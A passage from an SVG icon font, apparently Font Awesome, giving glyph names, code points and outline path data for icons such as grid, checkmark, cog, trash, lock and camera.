d="M384 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 320v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM384 704v128q0 26 -19 45t-45 19h-128
q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 -64v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM384 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45
t45 -19h128q26 0 45 19t19 45zM1792 -64v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1408 704v512q0 26 -19 45t-45 19h-768q-26 0 -45 -19t-19 -45v-512q0 -26 19 -45t45 -19h768q26 0 45 19t19 45zM1792 320v128
q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 704v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1792 1088v128q0 26 -19 45t-45 19h-128q-26 0 -45 -19
t-19 -45v-128q0 -26 19 -45t45 -19h128q26 0 45 19t19 45zM1920 1248v-1344q0 -66 -47 -113t-113 -47h-1600q-66 0 -113 47t-47 113v1344q0 66 47 113t113 47h1600q66 0 113 -47t47 -113z" />
    <glyph glyph-name="th_large" unicode="&#xf009;" horiz-adv-x="1664" 
d="M768 512v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM768 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 512v-384q0 -52 -38 -90t-90 -38
h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90zM1664 1280v-384q0 -52 -38 -90t-90 -38h-512q-52 0 -90 38t-38 90v384q0 52 38 90t90 38h512q52 0 90 -38t38 -90z" />
    <glyph glyph-name="th" unicode="&#xf00a;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 288v-192q0 -40 -28 -68t-68 -28h-320
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1152 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192
q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68z" />
    <glyph glyph-name="th_list" unicode="&#xf00b;" horiz-adv-x="1792" 
d="M512 288v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM512 800v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 288v-192q0 -40 -28 -68t-68 -28h-960
q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68zM512 1312v-192q0 -40 -28 -68t-68 -28h-320q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h320q40 0 68 -28t28 -68zM1792 800v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28
h960q40 0 68 -28t28 -68zM1792 1312v-192q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v192q0 40 28 68t68 28h960q40 0 68 -28t28 -68z" />
    <glyph glyph-name="ok" unicode="&#xf00c;" horiz-adv-x="1792" 
d="M1671 970q0 -40 -28 -68l-724 -724l-136 -136q-28 -28 -68 -28t-68 28l-136 136l-362 362q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -295l656 657q28 28 68 28t68 -28l136 -136q28 -28 28 -68z" />
    <glyph glyph-name="remove" unicode="&#xf00d;" horiz-adv-x="1408" 
d="M1298 214q0 -40 -28 -68l-136 -136q-28 -28 -68 -28t-68 28l-294 294l-294 -294q-28 -28 -68 -28t-68 28l-136 136q-28 28 -28 68t28 68l294 294l-294 294q-28 28 -28 68t28 68l136 136q28 28 68 28t68 -28l294 -294l294 294q28 28 68 28t68 -28l136 -136q28 -28 28 -68
t-28 -68l-294 -294l294 -294q28 -28 28 -68z" />
    <glyph glyph-name="zoom_in" unicode="&#xf00e;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-224q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v224h-224q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h224v224q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5v-224h224
q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5zM1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5
t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z" />
    <glyph glyph-name="zoom_out" unicode="&#xf010;" horiz-adv-x="1664" 
d="M1024 736v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-576q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h576q13 0 22.5 -9.5t9.5 -22.5zM1152 704q0 185 -131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5t316.5 131.5t131.5 316.5z
M1664 -128q0 -53 -37.5 -90.5t-90.5 -37.5q-54 0 -90 38l-343 342q-179 -124 -399 -124q-143 0 -273.5 55.5t-225 150t-150 225t-55.5 273.5t55.5 273.5t150 225t225 150t273.5 55.5t273.5 -55.5t225 -150t150 -225t55.5 -273.5q0 -220 -124 -399l343 -343q37 -37 37 -90z
" />
    <glyph glyph-name="off" unicode="&#xf011;" 
d="M1536 640q0 -156 -61 -298t-164 -245t-245 -164t-298 -61t-298 61t-245 164t-164 245t-61 298q0 182 80.5 343t226.5 270q43 32 95.5 25t83.5 -50q32 -42 24.5 -94.5t-49.5 -84.5q-98 -74 -151.5 -181t-53.5 -228q0 -104 40.5 -198.5t109.5 -163.5t163.5 -109.5
t198.5 -40.5t198.5 40.5t163.5 109.5t109.5 163.5t40.5 198.5q0 121 -53.5 228t-151.5 181q-42 32 -49.5 84.5t24.5 94.5q31 43 84 50t95 -25q146 -109 226.5 -270t80.5 -343zM896 1408v-640q0 -52 -38 -90t-90 -38t-90 38t-38 90v640q0 52 38 90t90 38t90 -38t38 -90z" />
    <glyph glyph-name="signal" unicode="&#xf012;" horiz-adv-x="1792" 
d="M256 96v-192q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v192q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM640 224v-320q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v320q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1024 480v-576q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23
v576q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1408 864v-960q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v960q0 14 9 23t23 9h192q14 0 23 -9t9 -23zM1792 1376v-1472q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v1472q0 14 9 23t23 9h192q14 0 23 -9t9 -23z" />
    <glyph glyph-name="cog" unicode="&#xf013;" 
d="M1024 640q0 106 -75 181t-181 75t-181 -75t-75 -181t75 -181t181 -75t181 75t75 181zM1536 749v-222q0 -12 -8 -23t-20 -13l-185 -28q-19 -54 -39 -91q35 -50 107 -138q10 -12 10 -25t-9 -23q-27 -37 -99 -108t-94 -71q-12 0 -26 9l-138 108q-44 -23 -91 -38
q-16 -136 -29 -186q-7 -28 -36 -28h-222q-14 0 -24.5 8.5t-11.5 21.5l-28 184q-49 16 -90 37l-141 -107q-10 -9 -25 -9q-14 0 -25 11q-126 114 -165 168q-7 10 -7 23q0 12 8 23q15 21 51 66.5t54 70.5q-27 50 -41 99l-183 27q-13 2 -21 12.5t-8 23.5v222q0 12 8 23t19 13
l186 28q14 46 39 92q-40 57 -107 138q-10 12 -10 24q0 10 9 23q26 36 98.5 107.5t94.5 71.5q13 0 26 -10l138 -107q44 23 91 38q16 136 29 186q7 28 36 28h222q14 0 24.5 -8.5t11.5 -21.5l28 -184q49 -16 90 -37l142 107q9 9 24 9q13 0 25 -10q129 -119 165 -170q7 -8 7 -22
q0 -12 -8 -23q-15 -21 -51 -66.5t-54 -70.5q26 -50 41 -98l183 -28q13 -2 21 -12.5t8 -23.5z" />
    <glyph glyph-name="trash" unicode="&#xf014;" horiz-adv-x="1408" 
d="M512 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM768 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1024 800v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576
q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1152 76v948h-896v-948q0 -22 7 -40.5t14.5 -27t10.5 -8.5h832q3 0 10.5 8.5t14.5 27t7 40.5zM480 1152h448l-48 117q-7 9 -17 11h-317q-10 -2 -17 -11zM1408 1120v-64q0 -14 -9 -23t-23 -9h-96v-948q0 -83 -47 -143.5t-113 -60.5h-832
q-66 0 -113 58.5t-47 141.5v952h-96q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h309l70 167q15 37 54 63t79 26h320q40 0 79 -26t54 -63l70 -167h309q14 0 23 -9t9 -23z" />
    <glyph glyph-name="home" unicode="&#xf015;" horiz-adv-x="1664" 
d="M1408 544v-480q0 -26 -19 -45t-45 -19h-384v384h-256v-384h-384q-26 0 -45 19t-19 45v480q0 1 0.5 3t0.5 3l575 474l575 -474q1 -2 1 -6zM1631 613l-62 -74q-8 -9 -21 -11h-3q-13 0 -21 7l-692 577l-692 -577q-12 -8 -24 -7q-13 2 -21 11l-62 74q-8 10 -7 23.5t11 21.5
l719 599q32 26 76 26t76 -26l244 -204v195q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-408l219 -182q10 -8 11 -21.5t-7 -23.5z" />
    <glyph glyph-name="file_alt" unicode="&#xf016;" 
d="M1468 1156q28 -28 48 -76t20 -88v-1152q0 -40 -28 -68t-68 -28h-1344q-40 0 -68 28t-28 68v1600q0 40 28 68t68 28h896q40 0 88 -20t76 -48zM1024 1400v-376h376q-10 29 -22 41l-313 313q-12 12 -41 22zM1408 -128v1024h-416q-40 0 -68 28t-28 68v416h-768v-1536h1280z
" />
    <glyph glyph-name="time" unicode="&#xf017;" 
d="M896 992v-448q0 -14 -9 -23t-23 -9h-320q-14 0 -23 9t-9 23v64q0 14 9 23t23 9h224v352q0 14 9 23t23 9h64q14 0 23 -9t9 -23zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="road" unicode="&#xf018;" horiz-adv-x="1920" 
d="M1111 540v4l-24 320q-1 13 -11 22.5t-23 9.5h-186q-13 0 -23 -9.5t-11 -22.5l-24 -320v-4q-1 -12 8 -20t21 -8h244q12 0 21 8t8 20zM1870 73q0 -73 -46 -73h-704q13 0 22 9.5t8 22.5l-20 256q-1 13 -11 22.5t-23 9.5h-272q-13 0 -23 -9.5t-11 -22.5l-20 -256
q-1 -13 8 -22.5t22 -9.5h-704q-46 0 -46 73q0 54 26 116l417 1044q8 19 26 33t38 14h339q-13 0 -23 -9.5t-11 -22.5l-15 -192q-1 -14 8 -23t22 -9h166q13 0 22 9t8 23l-15 192q-1 13 -11 22.5t-23 9.5h339q20 0 38 -14t26 -33l417 -1044q26 -62 26 -116z" />
    <glyph glyph-name="download_alt" unicode="&#xf019;" horiz-adv-x="1664" 
d="M1280 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1536 192q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 416v-320q0 -40 -28 -68t-68 -28h-1472q-40 0 -68 28t-28 68v320q0 40 28 68t68 28h465l135 -136
q58 -56 136 -56t136 56l136 136h464q40 0 68 -28t28 -68zM1339 985q17 -41 -14 -70l-448 -448q-18 -19 -45 -19t-45 19l-448 448q-31 29 -14 70q17 39 59 39h256v448q0 26 19 45t45 19h256q26 0 45 -19t19 -45v-448h256q42 0 59 -39z" />
    <glyph glyph-name="download" unicode="&#xf01a;" 
d="M1120 608q0 -12 -10 -24l-319 -319q-11 -9 -23 -9t-23 9l-320 320q-15 16 -7 35q8 20 30 20h192v352q0 14 9 23t23 9h192q14 0 23 -9t9 -23v-352h192q14 0 23 -9t9 -23zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273
t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="upload" unicode="&#xf01b;" 
d="M1118 660q-8 -20 -30 -20h-192v-352q0 -14 -9 -23t-23 -9h-192q-14 0 -23 9t-9 23v352h-192q-14 0 -23 9t-9 23q0 12 10 24l319 319q11 9 23 9t23 -9l320 -320q15 -16 7 -35zM768 1184q-148 0 -273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198
t73 273t-73 273t-198 198t-273 73zM1536 640q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="inbox" unicode="&#xf01c;" 
d="M1023 576h316q-1 3 -2.5 8.5t-2.5 7.5l-212 496h-708l-212 -496q-1 -3 -2.5 -8.5t-2.5 -7.5h316l95 -192h320zM1536 546v-482q0 -26 -19 -45t-45 -19h-1408q-26 0 -45 19t-19 45v482q0 62 25 123l238 552q10 25 36.5 42t52.5 17h832q26 0 52.5 -17t36.5 -42l238 -552
q25 -61 25 -123z" />
    <glyph glyph-name="play_circle" unicode="&#xf01d;" 
d="M1184 640q0 -37 -32 -55l-544 -320q-15 -9 -32 -9q-16 0 -32 8q-32 19 -32 56v640q0 37 32 56q33 18 64 -1l544 -320q32 -18 32 -55zM1312 640q0 148 -73 273t-198 198t-273 73t-273 -73t-198 -198t-73 -273t73 -273t198 -198t273 -73t273 73t198 198t73 273zM1536 640
q0 -209 -103 -385.5t-279.5 -279.5t-385.5 -103t-385.5 103t-279.5 279.5t-103 385.5t103 385.5t279.5 279.5t385.5 103t385.5 -103t279.5 -279.5t103 -385.5z" />
    <glyph glyph-name="repeat" unicode="&#xf01e;" 
d="M1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-42 0 -59 40q-17 39 14 69l138 138q-148 137 -349 137q-104 0 -198.5 -40.5t-163.5 -109.5t-109.5 -163.5t-40.5 -198.5t40.5 -198.5t109.5 -163.5t163.5 -109.5t198.5 -40.5q119 0 225 52t179 147q7 10 23 12q15 0 25 -9
l137 -138q9 -8 9.5 -20.5t-7.5 -22.5q-109 -132 -264 -204.5t-327 -72.5q-156 0 -298 61t-245 164t-164 245t-61 298t61 298t164 245t245 164t298 61q147 0 284.5 -55.5t244.5 -156.5l130 129q29 31 70 14q39 -17 39 -59z" />
    <glyph glyph-name="refresh" unicode="&#xf021;" 
d="M1511 480q0 -5 -1 -7q-64 -268 -268 -434.5t-478 -166.5q-146 0 -282.5 55t-243.5 157l-129 -129q-19 -19 -45 -19t-45 19t-19 45v448q0 26 19 45t45 19h448q26 0 45 -19t19 -45t-19 -45l-137 -137q71 -66 161 -102t187 -36q134 0 250 65t186 179q11 17 53 117
q8 23 30 23h192q13 0 22.5 -9.5t9.5 -22.5zM1536 1280v-448q0 -26 -19 -45t-45 -19h-448q-26 0 -45 19t-19 45t19 45l138 138q-148 137 -349 137q-134 0 -250 -65t-186 -179q-11 -17 -53 -117q-8 -23 -30 -23h-199q-13 0 -22.5 9.5t-9.5 22.5v7q65 268 270 434.5t480 166.5
q146 0 284 -55.5t245 -156.5l130 129q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="list_alt" unicode="&#xf022;" horiz-adv-x="1792" 
d="M384 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM384 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5z
M384 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h64q13 0 22.5 -9.5t9.5 -22.5zM1536 352v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5z
M1536 608v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5t9.5 -22.5zM1536 864v-64q0 -13 -9.5 -22.5t-22.5 -9.5h-960q-13 0 -22.5 9.5t-9.5 22.5v64q0 13 9.5 22.5t22.5 9.5h960q13 0 22.5 -9.5
t9.5 -22.5zM1664 160v832q0 13 -9.5 22.5t-22.5 9.5h-1472q-13 0 -22.5 -9.5t-9.5 -22.5v-832q0 -13 9.5 -22.5t22.5 -9.5h1472q13 0 22.5 9.5t9.5 22.5zM1792 1248v-1088q0 -66 -47 -113t-113 -47h-1472q-66 0 -113 47t-47 113v1088q0 66 47 113t113 47h1472q66 0 113 -47
t47 -113z" />
    <glyph glyph-name="lock" unicode="&#xf023;" horiz-adv-x="1152" 
d="M320 768h512v192q0 106 -75 181t-181 75t-181 -75t-75 -181v-192zM1152 672v-576q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68v576q0 40 28 68t68 28h32v192q0 184 132 316t316 132t316 -132t132 -316v-192h32q40 0 68 -28t28 -68z" />
    <glyph glyph-name="flag" unicode="&#xf024;" horiz-adv-x="1792" 
d="M320 1280q0 -72 -64 -110v-1266q0 -13 -9.5 -22.5t-22.5 -9.5h-64q-13 0 -22.5 9.5t-9.5 22.5v1266q-64 38 -64 110q0 53 37.5 90.5t90.5 37.5t90.5 -37.5t37.5 -90.5zM1792 1216v-763q0 -25 -12.5 -38.5t-39.5 -27.5q-215 -116 -369 -116q-61 0 -123.5 22t-108.5 48
t-115.5 48t-142.5 22q-192 0 -464 -146q-17 -9 -33 -9q-26 0 -45 19t-19 45v742q0 32 31 55q21 14 79 43q236 120 421 120q107 0 200 -29t219 -88q38 -19 88 -19q54 0 117.5 21t110 47t88 47t54.5 21q26 0 45 -19t19 -45z" />
    <glyph glyph-name="headphones" unicode="&#xf025;" horiz-adv-x="1664" 
d="M1664 650q0 -166 -60 -314l-20 -49l-185 -33q-22 -83 -90.5 -136.5t-156.5 -53.5v-32q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v576q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-32q71 0 130 -35.5t93 -95.5l68 12q29 95 29 193q0 148 -88 279t-236.5 209t-315.5 78
t-315.5 -78t-236.5 -209t-88 -279q0 -98 29 -193l68 -12q34 60 93 95.5t130 35.5v32q0 14 9 23t23 9h64q14 0 23 -9t9 -23v-576q0 -14 -9 -23t-23 -9h-64q-14 0 -23 9t-9 23v32q-88 0 -156.5 53.5t-90.5 136.5l-185 33l-20 49q-60 148 -60 314q0 151 67 291t179 242.5
t266 163.5t320 61t320 -61t266 -163.5t179 -242.5t67 -291z" />
    <glyph glyph-name="volume_off" unicode="&#xf026;" horiz-adv-x="768" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45z" />
    <glyph glyph-name="volume_down" unicode="&#xf027;" horiz-adv-x="1152" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142z" />
    <glyph glyph-name="volume_up" unicode="&#xf028;" horiz-adv-x="1664" 
d="M768 1184v-1088q0 -26 -19 -45t-45 -19t-45 19l-333 333h-262q-26 0 -45 19t-19 45v384q0 26 19 45t45 19h262l333 333q19 19 45 19t45 -19t19 -45zM1152 640q0 -76 -42.5 -141.5t-112.5 -93.5q-10 -5 -25 -5q-26 0 -45 18.5t-19 45.5q0 21 12 35.5t29 25t34 23t29 36
t12 56.5t-12 56.5t-29 36t-34 23t-29 25t-12 35.5q0 27 19 45.5t45 18.5q15 0 25 -5q70 -27 112.5 -93t42.5 -142zM1408 640q0 -153 -85 -282.5t-225 -188.5q-13 -5 -25 -5q-27 0 -46 19t-19 45q0 39 39 59q56 29 76 44q74 54 115.5 135.5t41.5 173.5t-41.5 173.5
t-115.5 135.5q-20 15 -76 44q-39 20 -39 59q0 26 19 45t45 19q13 0 26 -5q140 -59 225 -188.5t85 -282.5zM1664 640q0 -230 -127 -422.5t-338 -283.5q-13 -5 -26 -5q-26 0 -45 19t-19 45q0 36 39 59q7 4 22.5 10.5t22.5 10.5q46 25 82 51q123 91 192 227t69 289t-69 289
t-192 227q-36 26 -82 51q-7 4 -22.5 10.5t-22.5 10.5q-39 23 -39 59q0 26 19 45t45 19q13 0 26 -5q211 -91 338 -283.5t127 -422.5z" />
    <glyph glyph-name="qrcode" unicode="&#xf029;" horiz-adv-x="1408" 
d="M384 384v-128h-128v128h128zM384 1152v-128h-128v128h128zM1152 1152v-128h-128v128h128zM128 129h384v383h-384v-383zM128 896h384v384h-384v-384zM896 896h384v384h-384v-384zM640 640v-640h-640v640h640zM1152 128v-128h-128v128h128zM1408 128v-128h-128v128h128z
M1408 640v-384h-384v128h-128v-384h-128v640h384v-128h128v128h128zM640 1408v-640h-640v640h640zM1408 1408v-640h-640v640h640z" />
    <glyph glyph-name="barcode" unicode="&#xf02a;" horiz-adv-x="1792" 
d="M63 0h-63v1408h63v-1408zM126 1h-32v1407h32v-1407zM220 1h-31v1407h31v-1407zM377 1h-31v1407h31v-1407zM534 1h-62v1407h62v-1407zM660 1h-31v1407h31v-1407zM723 1h-31v1407h31v-1407zM786 1h-31v1407h31v-1407zM943 1h-63v1407h63v-1407zM1100 1h-63v1407h63v-1407z
M1226 1h-63v1407h63v-1407zM1352 1h-63v1407h63v-1407zM1446 1h-63v1407h63v-1407zM1635 1h-94v1407h94v-1407zM1698 1h-32v1407h32v-1407zM1792 0h-63v1408h63v-1408z" />
    <glyph glyph-name="tag" unicode="&#xf02b;" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="tags" unicode="&#xf02c;" horiz-adv-x="1920" 
d="M448 1088q0 53 -37.5 90.5t-90.5 37.5t-90.5 -37.5t-37.5 -90.5t37.5 -90.5t90.5 -37.5t90.5 37.5t37.5 90.5zM1515 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-53 0 -90 37l-715 716q-38 37 -64.5 101t-26.5 117v416q0 52 38 90t90 38h416q53 0 117 -26.5t102 -64.5
l715 -714q37 -39 37 -91zM1899 512q0 -53 -37 -90l-491 -492q-39 -37 -91 -37q-36 0 -59 14t-53 45l470 470q37 37 37 90q0 52 -37 91l-715 714q-38 38 -102 64.5t-117 26.5h224q53 0 117 -26.5t102 -64.5l715 -714q37 -39 37 -91z" />
    <glyph glyph-name="book" unicode="&#xf02d;" horiz-adv-x="1664" 
d="M1639 1058q40 -57 18 -129l-275 -906q-19 -64 -76.5 -107.5t-122.5 -43.5h-923q-77 0 -148.5 53.5t-99.5 131.5q-24 67 -2 127q0 4 3 27t4 37q1 8 -3 21.5t-3 19.5q2 11 8 21t16.5 23.5t16.5 23.5q23 38 45 91.5t30 91.5q3 10 0.5 30t-0.5 28q3 11 17 28t17 23
q21 36 42 92t25 90q1 9 -2.5 32t0.5 28q4 13 22 30.5t22 22.5q19 26 42.5 84.5t27.5 96.5q1 8 -3 25.5t-2 26.5q2 8 9 18t18 23t17 21q8 12 16.5 30.5t15 35t16 36t19.5 32t26.5 23.5t36 11.5t47.5 -5.5l-1 -3q38 9 51 9h761q74 0 114 -56t18 -130l-274 -906
q-36 -119 -71.5 -153.5t-128.5 -34.5h-869q-27 0 -38 -15q-11 -16 -1 -43q24 -70 144 -70h923q29 0 56 15.5t35 41.5l300 987q7 22 5 57q38 -15 59 -43zM575 1056q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5
t-16.5 -22.5zM492 800q-4 -13 2 -22.5t20 -9.5h608q13 0 25.5 9.5t16.5 22.5l21 64q4 13 -2 22.5t-20 9.5h-608q-13 0 -25.5 -9.5t-16.5 -22.5z" />
    <glyph glyph-name="bookmark" unicode="&#xf02e;" horiz-adv-x="1280" 
d="M1164 1408q23 0 44 -9q33 -13 52.5 -41t19.5 -62v-1289q0 -34 -19.5 -62t-52.5 -41q-19 -8 -44 -8q-48 0 -83 32l-441 424l-441 -424q-36 -33 -83 -33q-23 0 -44 9q-33 13 -52.5 41t-19.5 62v1289q0 34 19.5 62t52.5 41q21 9 44 9h1048z" />
    <glyph glyph-name="print" unicode="&#xf02f;" horiz-adv-x="1664" 
d="M384 0h896v256h-896v-256zM384 640h896v384h-160q-40 0 -68 28t-28 68v160h-640v-640zM1536 576q0 26 -19 45t-45 19t-45 -19t-19 -45t19 -45t45 -19t45 19t19 45zM1664 576v-416q0 -13 -9.5 -22.5t-22.5 -9.5h-224v-160q0 -40 -28 -68t-68 -28h-960q-40 0 -68 28t-28 68
v160h-224q-13 0 -22.5 9.5t-9.5 22.5v416q0 79 56.5 135.5t135.5 56.5h64v544q0 40 28 68t68 28h672q40 0 88 -20t76 -48l152 -152q28 -28 48 -76t20 -88v-256h64q79 0 135.5 -56.5t56.5 -135.5z" />
    <glyph glyph-name="camera" unicode="&#xf030;" horiz-adv-x="1920" 
d="M960 864q119 0 203.5 -84.5t84.5 -203.5t-84.5 -203.5t-203.5 -84.5t-203.5 84.5t-84.5 203.5t84.5 203.5t203.5 84.5zM1664 1280q106 0 181 -75t75 -181v-896q0 -106 -75 -181t-181 -75h-1408q-106 0 -181 75t-75 181v896q0 106 75 181t181 75h224l51 136
q19 49 69.5 84.5t103.5 35.5h512q53 0 103.5 -35.5t69.5 -84.5l51 -136h224zM960 128q185 0 316.5 131.5t131.5 316.5t-131.5 316.5t-316.5 131.5t-316.5 -131.5t-131.5 -316.5t131.5 -316.5t316.5 -131.5z" />
    <glyph glyph-name="font" unicode="&#xf031;" horiz-adv-x="1664" 
